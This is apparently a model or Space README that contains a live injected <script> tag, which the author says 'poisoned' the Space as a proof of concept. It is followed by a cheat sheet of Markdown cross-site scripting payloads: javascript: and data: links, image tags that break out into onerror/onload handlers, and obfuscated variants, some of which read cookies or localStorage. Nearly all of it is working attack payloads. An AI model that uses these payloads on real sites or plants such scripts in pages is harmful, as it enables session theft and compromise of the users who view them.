|
--- |
|
license: mit |
|
--- |
|
|
|
|
|
<script>alert('This Space Was Poisoned By Thee Eclipse for XSS as a POC')</script> |
|
|
|
fd |
|
|
|
# Markdown XSS Payloads |
|
|
|
## Links |
|
|
|
```markdown |
|
[Basic](javascript:alert('Basic')) |
|
[Local Storage](javascript:alert(JSON.stringify(localStorage))) |
|
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive')) |
|
[URL](javascript://www.google.com%0Aalert('URL')) |
|
[In Quotes]('javascript:alert("InQuotes")') |
|
``` |
|
|
|
## Images |
|
|
|
```markdown |
|
![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad')) |
|
![Escape SRC - onerror]("onerror="alert('ImageOnError')) |
|
``` |
|
|
|
## Fuzzing |
|
|
|
```markdown |
|
[XSS](javascript:prompt(document.cookie)) |
|
[XSS](j a v a s c r i p t:prompt(document.cookie)) |
|
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) |
|
[XSS](javascript:alert('XSS')) |
|
[XSS]: (javascript:prompt(document.cookie)) |
|
[XSS](javascript:window.onerror=alert;throw%20document.cookie) |
|
[XSS](javascript://%0d%0aprompt(1)) |
|
[XSS](javascript://%0d%0aprompt(1);com) |
|
[XSS](javascript:window.onerror=alert;throw%20document.cookie) |
|
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie) |
|
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) |
|
[XSS](vbscript:alert(document.domain)) |
|
[XSS](javascript:this;alert(1)) |
|
[XSS](javascript:this;alert(1)) |
|
[XSS](javascript:this;alert(1)) |
|
[XSS](Javascript:alert(1)) |
|
[XSS](Javas%26%2399;ript:alert(1)) |
|
[XSS](javascript:alert(1)) |
|
[XSS](javascript:confirm(1) |
|
[XSS](javascript://www.google.com%0Aprompt(1)) |
|
[XSS](javascript://%0d%0aconfirm(1);com) |
|
[XSS](javascript:window.onerror=confirm;throw%201) |
|
[XSS](javascript:alert(document.domain)) |
|
![XSS](javascript:prompt(document.cookie))\ |
|
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\ |
|
![XSS'"`onerror=prompt(document.cookie)](x)\ |
|
``` |